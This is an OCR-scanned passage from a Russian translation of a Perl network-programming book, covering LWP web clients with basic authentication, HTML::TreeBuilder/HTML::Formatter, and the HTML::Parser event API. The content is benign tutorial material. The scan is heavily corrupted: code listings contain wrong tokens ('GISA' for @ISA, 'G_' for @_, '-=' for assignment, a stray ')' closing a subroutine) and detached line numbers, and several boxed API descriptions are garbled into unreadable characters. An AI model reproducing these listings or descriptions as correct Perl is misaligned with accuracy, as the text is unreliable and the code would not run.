Часть II. Разработка клиентов для основных служб
выведено на стандартное устройство вывода. В ином случае запрос завершится
неудачей с сообщением об ошибке "Authorization Required" (код состояния 401).
% get_url2.pl http://stein.cshl.org/private/
Enter username and password for realm "example".
username: perl
password: ргодраимшц
<!D0CTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head>
<title>Password Protected Page</title>
<link rel="stylesheet" href="/stylesheets/default.ess">
</head>
Чтобы проверить этот сценарий с URL, указанным в качестве примера, введите
имя пользователя — "perl" и пароль — "programmer".
В листинге 9.12 приведен код сценария get_url2.pl. Кроме одной необычной
конструкции, он является несложным. В этом сценарии необходимо объявить
подкласс класса LWP: : UserAgent, но нет смысла создавать целый файл модуля лишь для
того, чтобы перекрыть единственный метод. Вместо этого, подклассом класса
LWP: :UserAgent объявлен сам сценарий (пакет "main") и метод
get_basic_credentials () перекрыт непосредственно в файле основного
сценария. Это — широко применяемый и удобный прием.
1ИСТИНГ 9.12. Сценарий get_uri2.pl
0: #!/usr/local/bin/perl -w
1: # Файл: get_url2.pl
use strict;
use LWP;
use PromptUtil;
use vars 'GISA';
GISA = "LWP::UserAgent';
7: my $url = shift;
8: my $agent -= PACKAGE ->new;
9: my $request = HTTP::Request->new(GET => $url);
10: my $response = $agent->request($request);
11: $response->is_success or die "$url: ",
$response->message,"\n";
12: print $response->content;
13
14
15
16
17
18
19
20
21
sub get_basic_credentials {
my ($self,$realm,$url) = G_;
print STDERR
"Enter username and password for realm \"$realm\".\n";
print STDERR "username: ";
chomp (my $name = <>);
return unless $name;
my $passwd = get_passwd();
return ($name,$passwd);
)
Глава 9. Web-клиенты
287
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Включена строгая проверка синтаксиса и загружен модуль
LWP. Загружается также модуль Promptutil (приведенный в Приложении А, "Дополнительный
исходный код"), который предоставляет функцию get_passwd (), позволяющую получить от
пользователя пароль без отображения его на экране.
Устанавливается значение в массиве С ISA для указания того, что текущий пакет является
подклассом класса шр: :UserAgent.
• Строки 7-12. Выдача запроса и вывод информационного наполнения на стандартное
устройство вывода. Этот основной раздел данного сценария идентичен первоначальному
сценарию get_url.pl. Однако, вместо вызова для создания нового объекта агента
пользователя метода LWP: :UserAgent->new(), вызывается метод package ->new().
Интерпретатор Perl автоматически заменяет лексему package именем текущего пакета (в данном
случае "main"), создавая требуемый подкласс класса LWP: :UserAgent.
• Строки 13-20. Перекрытие метода get_bas±c_credentiais(). В этой части кода метод
get_basic_credentials () перекрывается специализированной подпрограммой. Этот
подкласс ведет себя точно так же, как обычный класс LWP: :UserAgent, до тех пор, пока не
возникает необходимость в получении аутентификационной информации, после чего вызывается
эта подпрограмма.
Подпрограмма вызывается с тремя параметрами, в число которых входят объект агента
пользователя, область действия аутентификационной информации и затребованный URL.
Выдается запрос ввести имя пользователя, а затем вызывается функция get_passwd () для выдачи
пользователю запроса и получения пароля. Полученная информация возвращается
вызывающей функции в виде списка с двумя элементами.
Важной особенностью этого сценария является то, что, при неправильном вводе
имени пользователя и пароля в первый раз, модуль LWP вызывает метод
get_basic_credentials () еще раз и пользователь снова получает запрос ввести
эту информацию. Если и на этот раз аутентификационная информация не будет
принята, запрос завершается неудачей с сообщением об ошибке "Authorization
Required". Похоже, что это удобное средство предоставления "второй попытки"
встроено в модуль LWP.
Интерпретация кода HTML и XML
В настоящее время основная часть информации в Web хранится в форме документов
HTML. До сих пор мы работали с документами HTML, не применяя планомерного
подхода, т.е. создавая регулярные выражения для извлечения из Web-страницы
определенных фрагментов требуемой информации. Однако модуль LWP позволяет применить
более общее решение этой задачи. Класс HTML: : Parser предоставляет гибкие средства
интерпретации документов HTML, а класс HTML: : Formatter дает возможность
форматировать код HTML в виде простого текста или текста в формате PostScript.
Дополнительным преимуществом модуля HTML: : Parser является то, что после
установки значения определенной опции он может также обрабатывать код на языке
XML (extensible Markup Language — Расширяемый язык разметки). Язык HTML
предназначен для отображения документов в форме, удобной для восприятия человеком, но он
недостаточно хорош для автоматизированной машинной обработки. Язык XML
позволяет создавать структурированные, легко интерпретируемые документы, более
пригодные для программной обработки, чем традиционные документы HTML. В течение
ближайших нескольких лет язык HTML будет постепенно заменен XHTML— версией
HTML, которая соответствует более строгим стандартам, принятым в XML. Модуль
288
Часть II. Разработка клиентов для основных служб
HTML:: Parser позволяет обрабатывать код на языках HTML, XML и XHTML.
Фактически он может применяться для интерпретации значительной части синтаксиса языка
SGML (Standard Generalized Markup Language— Стандартный обобщенный язык
разметки), от которого происходит и HTML, и XML. Спецификацию XML и ряд учебников
по этому языку можно найти по адресу http: //www. w3. org/XML/.
В настоящем разделе показано, как использовать модуль HTML:: Formatter для
преобразования кода HTML в удобно отформатированный простой текст или текст в формате
PostScript. Затем приведены некоторые примеры использования модуля HTML:: Parser
для выполнения более общей задачи извлечения информации из файлов HTML.
Форматирование кода HTML
Модуль HTML: :Formatter — это базовый класс целого семейства средств
форматирования HTML. В настоящее время реализовано только два члена этого семейства.
Модуль HTML: : Format Text принимает документ HTML и вырабатывает удобно
отформатированный простой текст, а модуль HTML: :FormatPS создает выходную
информацию PostScript. Ни один подкласс класса HTML: : Formatter не обрабатывает
встроенные изображения, формы или таблицы. В некоторых случаях это
ограничение может оказаться очень существенным.
Форматирование файла HTML выполняется в два этапа. На первом этапе код
HTML представляется в виде дерева синтаксического анализа с использованием
специализированного подкласса класса HTML: :Parser с именем HTML: :TreeBuilder.
На втором этапе это дерево синтаксического анализа передается в требуемый
подкласс класса HTML: : Formatter для вывода отформатированного текста.
В листинге 9.13 показан сценарий format_html. pi, в котором эти модули
применяются для чтения файла HTML, указанного в командной строке или полученного из
стандартного устройства ввода, и его форматирования. Если задана опция
-postscript, сценарий выводит текст в формате PostScript, пригодный для печати.
В ином случае он выводит простой текст.
Листинг9.13. Сценарий format_html.pl
0: #!/usr/local/bin/perl -w
1: # Файл: format_html.pl
2
3
4
5
6
7
8
9
10
11
12
13
14
15
use strict;
use Getopt::Long;
use HTML::TreeBuilder;
my $PS;
GetOptions('postscript' => \$PS)
or die "Usage: format_html.pl [—postscript] [file]\n";
my $formatter;
if ($PS) {
require HTML::FormatPS;
$formatter = HTML::FormatPS->new(PaperSize=>'Letter');
} else {
require HTML::FormatText;
$formatter = HTML::FormatText->new;
}
Глава 9. ШеЬклиенты
289
16
17
18
my $tree = HTNL::TreeBuilder->new;
$tree->parse($_) while <>;
$tree->eof;
19: print $formatter->format($tree);
20: $tree->delete;
Проведем анализ программы.
■ Строки 1-4. Загрузка модулей. Включена строгая проверка синтаксиса и загружены модули
Getopt::Long и html: :TreeBuilder. Первый из этих модулей обрабатывает параметры
командной строки, если они имеются. В это время не загружаются какие-либо модули типа
html: :Formatter, поскольку еще неизвестно, должен ли быть выработан простой текст или
текст в формате PostScript.
■ Строки 5-7. Обработка опций командной строки. Вызывается функция GetOptions () для
интерпретации опций командной строки. В этом фрагменте кода глобальная переменная $ps
устанавливается равной истинному значению, если указана опция -postscript.
• Строки 8-15. Создание соответствующего средства форматирования. Если пользователь
указал опцию вывода в формате PostScript, то загружается модуль HTML:: Format PS и
вызывается метод new о этого класса для создания нового объекта средства форматирования.
В ином случае выполняется то же действие с классом html :: FormatText. При создании
средства форматирования html-. :FormatPS методу new о передается параметр PaperSize
со значением "Letter" для создания выходной информации, совместимой с обычным форматом
бумаги В 1/2 х 11", который широко применяется в Соединенных Штатах.
• Строки 16-18. Интерпретация кода HTML. Создается новый синтаксический анализатор
html: :TreeBuilder путем вызова метода new() этого класса. Затем выполняется
построчное чтение кода HTML с использованием оператора <> и осуществляется его передача
объекту синтаксического анализатора. По завершении чтения синтаксическому анализатору
передается сообщение об этом путем вызова его метода eof ().
В результате дерево синтаксического анализа HTML создается непосредственно в объекте
синтаксического анализатора, в переменной Stree.
• Строки 19, 20. Форматирование и вывод дерева. Дерево синтаксического анализа
передается методу format () средства форматирования, в результате чего создается
отформатированная строка. Эта строка выводится на устройство вывода, а затем дерево синтаксического
анализа очищается путем вызова его метода delete ().
API-интерфейс модуля HTML::Formatter
API-интерфейс модуля HTML: : Formatter и его подклассы являются
исключительно простыми. С помощью метода new () создается новое средство
форматирования, а с помощью функции format () выполняется форматирование. Для
уточнения стиля форматирования применяется ряд параметров, распознаваемых
методом new ().
Sformattex = HTML:;FormatText->naw([leftmeurgin=>$left,%i ~' '• ..
ь'-; rightmargin«=>$rigYit]) ,s
.;, Метод HTML:,:FprmatText->new() принимает два необязательных параметра, leftmarginl
j и rightmargin, которые устанавливают, соответственно, ширину левого и правбго пойей. Ширина
1 полей измеряется от левого края в символах. Если она не указана, то ширина левого и правого по-,,
1 лей, (соответственно, принимает ло умолчанию значение 3 и 72. Этот метод возвращает Объект
i .средства форматирования, готовый для использования при преобразовании кода HTML в тексту. д.,
290
Часть II. Разработка клиентов для основных служб
$ formatter = НТМЬ~:£бгта"€р£-^вйП6р^ ]>
Аналогичным образом-метод HTML: -. FormatPS->new () создает новый объект средства
форматирования, позволяющий преобразовывать код HTML в текст формата PostScript. Он принимает бо- ;
лее широкий перечень пэр "параметр/значение" по сравнению с предыдущим методом. Наиболее
широко применяемые из этих параметров леречислены ниже.
• Параметр papersize устанавливает соответствующие значения ширины и длины листа
бумаги, применяемого для печати. Допустимыми значениями являются A3, А4, А5, В4, В5, Letter,
Legal, Executive, Tabloid, Statement, Folio, 10x14 и Quarto. Пользователи из Соединенных
Штатов должны учитывать следующее: значением параметра papersize, применяемым по
умолчанию, является формвт А4 по европейскому стандарту. Для печати на обычной бумаге В 1/2 х
11" необходимо вместо этого значения указать Letter.
• Параметры LeftMargin, RightMargin, TopMargin и BottomMargin позволяют
устанавливать ширину полей страницы. Все эти значения задаются в пунктах.
• Параметр FontFamily позволяет указать семейство шрифтов, применяемое при печати.
Распознаются такие значения, как Courier, Helvetica и Times, причем последнее используется по умолчанию.
• Параметр Fontscale позволяет увеличить или уменьшить размер шрифта на некоторый
коэффициент. Например, значение этого параметра, равное 1,5, позволяет увеличить размер
шрифта на 50 процентов.
После создания объект форматирования можно вызывать любое число раз для
форматирования объектов HTML: : TreeBuilder.
i $text ш Sfpmattor^fojnBSt'iStree).. I
| Деретс.синтакС1^с^гЬянгтиза H^L nej^ s
[ является скалярная переменная, значение которой можно затем вывести на стандартное устройство ]
(вывода, сохранить «а диске или отправить в программу буферизации печати. *
*. ^_-.л u'J^ :"-■ - ' - _._-._-? - __!_. .__ :-. . ..^.j' i
API-интерфейс модуля HTML::TreeBuilder
Основной API-интерфейс модуля HTML: :TreeBuilder также является
несложным. Создается новый объект HTML: : TreeBuilder путем вызова метода new () этого
класса, затем документ интерпретируется с использованием функции parse () или
parse_f ile (), а по окончании этой операции объект уничтожается с помощью
функции delete ().
j $tree = HTML::TreeBu±lder->new
Г Метод new () не принимает параметров; Он возвращает новый, пустой объект ,
jiHTML:: TreeBuilder. ' " i
[ $result.*= $tree->parse_file($file)
! Метод parsefiief). принимает имя файла или дескриптор файла и интерпретирует со- ,
; держимое, представленное этим файлом, сохраняя дерево в самом' объекте ,
j html: :TreeBuilder. Если синтаксический анализ выполнен успешно, результатом, является 1
' копия объекта дерева, а если возникают какие-либо нарушения (сообщение об ошибке записа- j
j но в переменной. S!), — значение undef.
Например, можно непосредственно выполнить синтаксический анализ файла HTML
$tree->parse_file('rfc2010.html') or die "Couldn't parse: $!";
или передать синтаксическому анализатору данные, полученные из дескриптора файла.
open (F,'rfC2010.html') or die "Couldn't open: $!";
$tree->parse_file(\*F) ;
Глава 9. Web-клиенты
291
$result~= $tree->parse<$data)' ' * §
й>- Метод par set) позволяет выполнять синтаксический анализ файла HTML в вНие фрагментов*^
произвольного размера..Параметр $data представляет собой скаляр, который содержит обрабаты- "
ваемый текст HTML. Как правило, метод parse!) вызывается неоднократно, и каждый раз ему пе-!
редается счередной фрагмент обрабатываемого документа. Ниже показано, как воспользоваться J
этим свойством, чтобы начать синтаксический анализ кода HTML еще во время загрузки файла. Ее- j
! ли в ходе выполнения синтаксического анализа будут обнаружены какие-либо нарушения, метод '
tjparselj; возвращает значение undef. ' 3
Ь $tree->eo£. ,. ■< t I
f, 3rofi метод вызывается при использований метода parse"(). Он сообщает объекту!
■ HTML;:iTreeBuildte£, что данные больше не будут поступать, и позволяет закончить синтаксиче-
| ский анализ. , ......' _. .. ,,:.-.
В листинге 9.12 приведен интересный пример использования функций parse ()
Heof () для синтаксического анализа файла HTML, поступающего построчно со
стандартного устройства ввода.
$tree->delete ' ' й ' ' ' 'I |
\ Закончив работу с объектом дерева html: ;TreeBuilder, необходимо вызвать его метод delete () J
для выполнения заключительных действий, ТВ отличие от Других объектов Perl, которые^автоматическиТ
уничтожаются после их выхода из области определения, с объектами щщ.: :TreeBuiitier этогрне про- j
исходит. Их нужно уничтожать явно с помощью вызова функции delete' {), чтобы избежать риска'утечки I
памяти^ В документации POD-HTML: г Element описано, для чего это было сделано. i <fj.._ 1
Обычно применяемая общая схема состоит в объединении операции создания
объекта HTML: : TreeBuilder с интерпретацией файла.
$tree = HTML::TreeBuilder->new->parse_file('гfc2010.html');
В отличие от объекта HTML: : Formatter, объект HTML: :TreeBuilder нельзя
использовать повторно. По окончании работы с этим объектом необходимо его
уничтожить, а для интерпретации следующего файла создать новый объект дерева.
Дерево синтаксического анализа, возвращенное после вызова конструктора
HTML: :TreeBuilder,— это фактически весьма многофункциональный объект.
В программе можно рекурсивно пройти по его узлам для получения информации из
файла HTML, извлечь гипертекстовые ссылки, а затем снова преобразовать весь
объект в код HTML, пригодный для вывода на стандартное устройство. Однако те же
функциональные средства, но в более удобной форме предоставляет также класс
HTML: :Parser, который рассматривается далее в этой главе. Дополнительные
сведения приведены в документации POD HTML: : TreeBuilder и HTML: : Element.
Получение отформатированного кода HTML
из сценария get_url.pl
Теперь сценарий get_url.pl будет переписан в третий раз для получения
возможности применить средства форматирования, предоставляемые модулем
HTML: : FormatText. Как только новый сценарий, незатейливо названный
get_url3.pl, обнаруживает документ HTML, он автоматически преобразовывает
его в отформатированный текст.
Важной особенностью этого сценария является то, что в нем механизм обратного
вызова запроса объекта LWP: :TJserAgent объединен с методом parse () объекта
292
Часть И. Разработка клиентов для основных служб
HTML: :TreeBuilder для синтаксического анализа документа HTML одновременно
с его загрузкой. После того как загрузка и синтаксический анализ начинают
выполняться параллельно, работа сценария значительно ускоряется. Код сценария
приведен в листинге 9.14.
Листинг 9.14. Сценарий get_url3 .pi
0: #!/usr/local/bin/perl -w
1: # Файл: get_url3.pl
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
use strict;
use LWP;
use PromptUtil;
use HTML::FormatText;
use HTML::TreeBuilder;
7: use vars 'GISA';
8: GISA = "LWP: :UserAgenf;
9: my $url = shift;
10: my $agent = PACKAGE ->new;
11: my $request = HTTP::Request->new(GET => $url);
my $html_tree; # Дерево синтаксического анализа
my $response = $agent->request($request,\&process_document) ;
$response->is_success or die "$url: ",$response->message, "\n"
# Форматировать вывод HTML
if ($html_tree) {
$ html_t ree->eof;
print HTML::FormatText->new->format($html_tree);
$html_tree->delete;
}
sub process_document {
my ($data,$response,$protocol) — G_;
if ($response->content_type eq 'text/html') {
$html_tree ||= HTML::TreeBuilder->new;
$html_tree->parse($data);
} else {
print $data;
}
}
sub get_basic_credentials {
my ($self,$realm,$uri) = G_;
print STDERR
"Enter username and password for realm \"$reaLm\".\n";
print STDERR "username: ";
chomp (my $name = <>) ;
return unless $name;
my $passwd = get_passwd();
return ($name,$passwd);
}
Глава 9. Web-клиенты
293
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Загружаются модули lwp, Promptutil, HTML: :FormatText
и HTML: :TreeBuilder.
• Строки 7-11. Подготовка запроса. Создается объект HTTP: :Request, как и в предыдущих
версиях этого сценария. Опять-таки, при необходимости пользователь получает запрос ввести
аутентификационную информацию, поэтому сценарий оформлен как подкласс класса
LWP:: userAgent, чтобы можно было перекрыть метод get_basic_credentials ().
• Строки 12-14. Отправка запроса. Запрос отправляется с использованием метода request ()
агента пользователя. Однако мы не позволяем модулю lwp оставить полученное
информационное наполнение в объекте HTTP::Response для последующей выборки, а передаем методу
request!) второй параметр, содержащий ссылку на подпрограмму process_document().
Эта подпрограмма отвечает за синтаксический анализ входящих документов HTML
Подпрограмма process_document () записывает созданное дерево синтаксического анализа
HTML, если таковое успешно создано, в глобальной переменной $html_tree, объявленной
здесь. После завершения работы метода request () проверяется состояние возвращенного
объекта HTTP:: Response и вызывается функция die с описательным сообщением об
ошибке, если запрос потерпел неудачу по каким-то причинам.
• Строки 15-20. Форматирование и вывод кода HTML. Если затребованный документ
представляет собой код HTML, это значит, что подпрограмма process_document() выполнила
его синтаксический анализ и оставила созданное дерево в переменной $html_tree.
Выполняется проверка того, является ли дерево непустым. Если это так, вызывается метод eof ()
объекта дерева для указания синтаксическому анализатору, чтобы он окончил работу, и
дерево передается вновь созданному объекту HTML:: FormatText для создания
отформатированной строки, которая немедленно выводится на стандартное устройство вывода. После этого
объект HTML:: Forma tText больше не нужен, поэтому вызывается его метод delete ().
Как будет показано ниже, подпрограмма process_document () немедленно выводит на
стандартное устройство вывода все документы, отличные от документов HTML, поэтому для
обработки таких документов не нужны какие-либо дальнейшие действия.
• Строки 21-29. Подпрограмма prooess_document О. Объект LWP:: UserAgent вызывает эту
подпрограмму обратного вызова с тремя параметрами, состоящими из загруженных данных
текущего объекта HTTP: -.Response и объекта LWP::Protocol.
Вызывается метод content_type () объекта ответа для получения типа MIME входящего
документа. Если документ имеет тип text /html, то данные передаются методу parse ()
объекта дерева синтаксического анализа. При необходимости создается объект
HTML: :TreeBuilder с использованием оператора "| |=" с тем, чтобы вызов метода
HTML: :TreeBuilder->new() выполнялся, только если переменная $html_tree является
неопределенной.
Если информационное наполнение имеет тип, отличный от text/html, то данные
немедленно выводятся на стандартное устройство вывода. Это — значительное усовершенствование
по сравнению с предыдущими версиями сценария get_url.pl, поскольку оно означает, что
все данные, отличные от HTML, начинают выводиться на стандартное устройство аывода
сразу после их поступления с удаленного сервера.
• Строки 30-38. Подпрограмма get_basic_credentiais (). Это— та же подпрограмма,
которая входит в состав сценария get_url2.pl.
Важным усовершенствованием сценария get_url3.pl могло бы стать
применение модуля HTML: : FormatPS для поддержки печати или адаптация сценария для
использования внешних средств просмотра в целях отображения данных с типами
MIME, отличными от HTML, так же как и в сценарии pop_f etch .pi главы 8.
Модуль HTML::Parser
Модуль HTML: : Parser— это мощный, но сложный модуль, позволяющий
выполнять синтаксический анализ документов HTML и XML. Эта сложность, с одной сто-
294
Часть П. Разработка клиентов для основных служб
роны, обусловлена структурой самого кода HTML, а с другой стороны, связана с тем
фактом, что для модуля HTML: : Parser имеется два разных API-интерфейса: один
используется в версиях модуля 2. X, а другой — в текущем ряде версий 3. X.
Коды на языках HTML и XML состоят из тегов разметки, составляющих
иерархическую структуру документа. Теги заключены в угловые скобки, могут иметь имя
и включать ряд атрибутов. Например, тег
<img src="/icons/arrow.gif" alt="arrow">
имеет имя img и два атрибута— src и alt.
Теги, применяемые в коде HTML, могут быть парными или непарными. Парные
отмечают начало и конец некоторого информационного наполнения, которое может
представлять собой простой текст или содержать другие теги. Например, следующий
фрагмент кода HTML
<p>Oh dear, now the <strong>bird</strong> is gone!</p>
состоит из абзаца, который начинается с тега <р> и заканчивается парным ему тегом
</р>. Между этими двумя тегами находится строка текста, часть которой также
заключена в пару тегов <strong> (указывающих на то, что текст должен быть вьщелен на
экране). Языки HTML и XML налагают ограничения на то, какие теги могут находиться
внутри фрагментов кода, ограниченных другими тегами. Например, раздел <title>,
обозначающий некоторый текст как заголовок документа, может находиться только
в разделе <head> документа HTML, который, в свою очередь, должен располагаться
в разделе <html>. Пример простейшего документа HTML приведен в листинге 9.15.
Кроме тегов, документ HTML может содержать комментарии, которые
игнорируются программами преобразования во внешнее представление. Комментарии
начинаются с символов <! - - и оканчиваются символами —>, как в следующем примере.
<!— ignore this —>
Файлы HTML могут также содержать объявления разметки, находящиеся внутри
символов <! и >. Эти объявления предоставляют метаинформацию для программ
проверки допустимости документа и синтаксических анализаторов.
Листинг 9,15. Пример простейшего документа HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<title>Some title here</title>
</head>
<body>
<p>Paragraphs and other body text here.</p>
</body>
</html>
Поскольку символы "<" и ">" имеют особый смысл, все их вхождения в
информационное наполнение HTML должны быть, соответственно, преобразованы в так
называемые "символьные компоненты" < и >. Символ амперсанда также должен
быть заменен управляющей последовательностью &атр;. Для представления таких
символов (не входящих в стандартный набор символов ASCII), как символ
обозначения авторского права или немецкий умляут, предусмотрено множество других
символьных компонентов.
Глава 9. Web-клиенты
295
Язык XML имеет намного более строгий и регламентированный синтаксис по
сравнению с языком HTML. В языке XML не допускается применение непарных тегов, т.е.
все теги должны явно обозначать начало и конец разметки. Имена тегов и атрибутов
чувствительны к регистру (в коде HTML эти имена могут быть записаны в любом
регистре), а все значения атрибутов должны быть заключены в двойные кавычки. Если
элемент разметки пуст, иными словами, если между начальным и конечным тегами ничего
нет, язык XML позволяет заменить эту пару тегов так называемым тегом "пустого
элемента". Он представляет собой начальный тег <tagname, который начинается со знака
"меньше", <, и имени тега, tagname, и оканчивается символами />. В качестве
иллюстрации ниже приведены фрагменты KOflaXML, имеющие одинаковый смысл.
<img src="/icons/arrow.gif" alt="arrow"x/img>
<img src="/icons/arrow.gif" alt="arrow" />
Применение модуля HTML::Parser
Модуль HTML: : Parser работает под управлением событий. Он выполняет
синтаксический анализ документа HTML с самого начала и последовательно проходит по
тегам и подтегам, пока не будет достигнут конец документа. Для работы с этим модулем
необходимо установить обработчики событий, интересующих программиста и
возникающих в процессе обработки документа, таких как появление начального тега.
Обработчик будет вызываться при возникновении каждого ожидаемого события.
Прежде чем приступить к изучению модуля HTML: : Parser, рассмотрим
несложный пример. Сценарий print_links.pl выполняет синтаксический анализ
документа HTML, который указан в командной строке или поступил из стандартного
устройства ввода, извлекает информацию обо всех ссылках и изображениях, а затем
выводит URL этих объектов. В следующем примере сценарий get_url2.pl
применяется для получения начальной страницы машины поиска Google и передачи
вывода этого сценария по каналу в сценарий print_links. pi.
% get_url2.pl http://www.google.com I print_linkB.pl
img: images/title_homepage2.gif
link: advanced_search.html
link: preferences.html
link: link_NPD.html
link: jobs.html
link: http://directory.google.com
link: adv/intro.html
1ink: webs earch_programs.html
link: buttons.html
link: about.html
Код сценария print_links. pi приведен в листинге 9.16.
Листинг 9.16. Сценарий pr_nt_links .pi
0: #!/usr/local/bin/perl -w
1: # Файл: print_links.pl
2: use strict;
3: use HTML::Parser;
4: my $parser = HTML::Parser->new(api_version => 3);
296
Часть II. Разработка клиентов для основных служб
5: $parser->handler(start => \&print_link, 'tagname,attr');
6: $parser->parse($_) while <>;
7: $parser->eof;
9
10
11
12
13
14
15
sub print_link {
my ($tagname,$attr) = @_;
if ($tagname eq 'a') {
print "link: ",$attr->{href},"\n"
} elsif ($tagname eq 'img') {
print "img: ",$attr->{src}, "\n";
}
}
Проведем анализ программы.
■ Строки 1-3. Загрузка модуля. После включения строгой проверки синтаксиса загружается
модуль html: : Parser. Это — единственный необходимый здесь модуль.
• Строки 4, 5. Создание и инициализация объекта синтаксического анализатора. Создается
новый объект HTML::Parser путем вызова его метода new(). По причинам, описанным
в следующем разделе, методу new() в виде параметра api_version передается указание
использовать версию 3 API-интерфейса.
После создания синтаксического анализатора выполняется его настройка путем вызова
метода handler () для установки обработчика событий, связанных с появлением начального тега.
Параметр start содержит ссылку на подпрограмму printlink (); эта подпрограмма
вызывается при обнаружении синтаксическим анализатором каждого начального тега. Следующий
параметр метода handler () сообщает модулю HTML::Parser, какие параметры должны
передаваться обработчику событий при его вызове. В этом параметре содержится требование,
чтобы синтаксический анализатор передавал подпрограмме print_link() имя тега
(tagname) и ссылку на хеш, содержащий атрибуты тега (attr).
• Строки 6, 7. Интерпретация стандартного ввода. Теперь вызывается метод parse ()
синтаксического анализатора и ему передаются строки, считанные с помощью оператора о.
После достижения конца файла вызывается метод eof () синтаксического анализатора в
качестве указания на завершение работы. Методы parse () и eof () действуют аналогично
подобным методам объекта html: :TreeBuilder, которые были рассмотрены ранее.
• Строки 8-15. Процедура обратного вызова print_iink о. В подпрограмме print_link ()
сосредоточена основная часть логики программы. Эта подпрограмма вызывается во время
синтаксического анализа каждый раз, когда синтаксический анализатор встречает начальный
тег. Как было определено при установке обработчика событий, синтаксический анализатор
передает подпрограмме имя тега и ссылку на хеш, содержащий втрибуты тега. Имя тега и имена
атрибутов автоматически преобразуются в нижний регистр, что упрощает работу с ними в
случае появления в этих именах непредсказуемых сочетаний символов верхнего и нижнего
регистров, как часто встречается а коде HTML
Нас интересуют только гипертекстовые ссылки, тег <а>, и встроенные изображения, тег
<img>. Если тег имеет имя "а", выводится строка с надписью "link:", за которой следует
информационное наполнение атрибута href. Если же тег имеет имя "img", выводится надпись
"img:", за которой следует содержимое атрибута src При появлении других тегов никакие
действия не выполняются.
API-интерфейс модуля HTML::Parser
Модуль HTML:: Parser имеет два API-интерфейса. В созданном ранее API-
интерфейсе, который применялся в версии 2 данного модуля, установка
обработчиков различных событий выполнялась путем создания подкласса этого модуля и
перекрытия методов start (), end () и text (). В современном API-интерфейсе, который
Глава 9. Web-клиенты
297
был введен в версии 3.0 данного модуля, для установки обработчиков событий,
оформленных в виде процедур обратного вызова, вызывается метод handler (), как
показано в листинге 9.16.
До сих пор можно встретить код, в котором используется более ранний
API-интерфейс, и разработчикам модуля HTML:: Parser приходится обеспечивать
совместимость с устаревшим API-интерфейсом. Однако в этом разделе будут
рассмотрены только наиболее часто применяемые компоненты API-интерфейса версии 3.
С дополнительной информацией о том, как управлять многочисленными опциями
этого модуля, можно ознакомиться в документации POD HTML: : Parser.
Для создания нового синтаксического анализатора необходимо вызвать метод
HTML: : Parser->new ().
i Sparser = HTML: :Parser->new(@ options)
Метод new!) создает новый объект HTML::Parser. Параметр Goptions представляет собой,,
ряд пар "опция/значение", которые позволяют изменить различные установки синтаксического ана- '
лизатора. Чаще всего применяется опция api_version, которая может принимать значение "2" для >
I создания синтаксического анализатора -версии 2 или значение "3" — для создания синтаксического
< анализатора версии 3. Для обеспечения обратной совместимости предусмотрено создание методом '
i new () синтаксического анализатора версии 2," если эта опция не указана.
После создания синтаксического анализатора необходимо вызвать метод
handler () один или несколько раз для установки обработчиков событий.
$parser->handler($event •=> \&handlerr$args)
Метод handler () устанавливает обработчик события, возникающего в процессе синтака1ческс>-.:
го анализа. Параметр $event указывает имя события, «handler'содержит ссылку на подпрограмму ^
; обратного вызова для его обработки, а параметр $args представляет собой строку, сообщающую-'
> модулю html: : Parser, какая информация о событии должна передаваться в подпрограмму. '■
В качестве имени события может быть указано одно из значений start, end,
text, comment, declaration, process или default. Чаще всего применяются
первые три события. Событие start активизируется при обнаружении синтаксическим
анализатором начального тега, такого как <strong>. Событие end активизируется
при обнаружении синтаксическим анализатором конечного тега, такого как
</strong>, а события text возникают при появлении текста, заключенного между
тегами. Событие comment активизируется при появлении комментариев HTML, а
события declaration и process в основном относятся к элементам разметки XML.
И наконец, событие default представляет собой универсальную ловушку для всех
элементов, которые явно не обрабатываются где-то в другом месте.
Параметр $args представляет собой строку, содержащую разграниченный запятыми
список информационных элементов, который должен быть передан обработчику
событий синтаксическим анализатором. Эта информация передается в виде параметров
подпрограммы точно в таком же порядке, в каком они указаны в списке $args. Число
возможных параметров очень велико. Ниже перечислены наиболее часто применяемые.
■ tagname. Имя тега.
■ text. Полный текст элемента, активизировавшего событие, включая
ограничители разметки.
■ dtext. Декодированный текст, в котором удалена разметка, а символьные
компоненты преобразованы в обычные символы.
298
Часть II. Разработка клиентов для основных служб
■ attr. Ссылка на хеш, содержащий атрибуты и значения тега.
■ self. Копия самого объекта HTML: : Parser.
■ 'string*. Литеральная строка (одинарные или двойные кавычки являются
обязательными!).
Например, следующий фрагмент кода обеспечивает вызов обработчика
get_text () каждый раз, когда в синтаксическом анализаторе выполняется
обработка некоторого текста информационного наполнения. Параметр, передаваемый
обработчику, представляет собой трехэлементный список, который содержит объект
синтаксического анализатора, литеральную строку "TEXT" и декодированный текст
информационного наполнения.
$parser->handler(,text'=>\&get_text, "self,"TEXT",dtext");
Параметр tagname удобнее всего использовать в сочетании с событиями start
и end. Имена тегов автоматически преобразуются в нижний регистр, поэтому вместо
<UL>, <ul> и <Ul> синтаксическому анализатору передается строка "ul". При
обработке конечных тегов символ "/" уничтожается, поэтому обработчик события end
при обнаружении тега </ul> получает строку "ul".
■ Параметр dtext чаще всего применяется в сочетании с событиями text.
Он возвращает неразмеченное информационное наполнение документа,
в котором все символьные компоненты преобразованы в соответствующие
им значения.
■ Ссылка на хеш attr может использоваться только в сочетании с событиями
start. Если этот параметр будет затребован вместе с другими событиями,
ссылка на хеш будет пуста.
При передаче методу handler () второго параметра, равного undef, происходит
удаление обработчика указанного события и возврат к методам обработки,
предусмотренным по умолчанию. Пустая строка указывает, что событие должно быть
полностью проигнорировано.
$parser->handler($event —> \garray,$args)
Вместо вызова подпрограммыпри активизации синтаксическим анализатором каждого события, '
можно-указать синтаксическому анализатору, чтобы он заполнил информацией, передаваемой об- ;
■работчикУ; некоторый массив; а затем без' лйшни^слб^ностёй исследовать этот массив/после за- !
'вершения синтаксического анализа
I. Для этого необходимо указать в качестве второго параметра метода handler () ссылку на мае-
j сив. После завершения синтаксического анализа этот массив будет содержать по одному элементу. '
i для каждого вхождения указанного события, в каждый элемент будет представлять собой аноним- ;
j ный массив, содержащий информацию, указанную параметром $args>
После инициализации синтаксический анализатор активизируется с помощью
метода parse_file () или parse ().
i $ result '■* §parser*>p>^e^fM«($£ple)
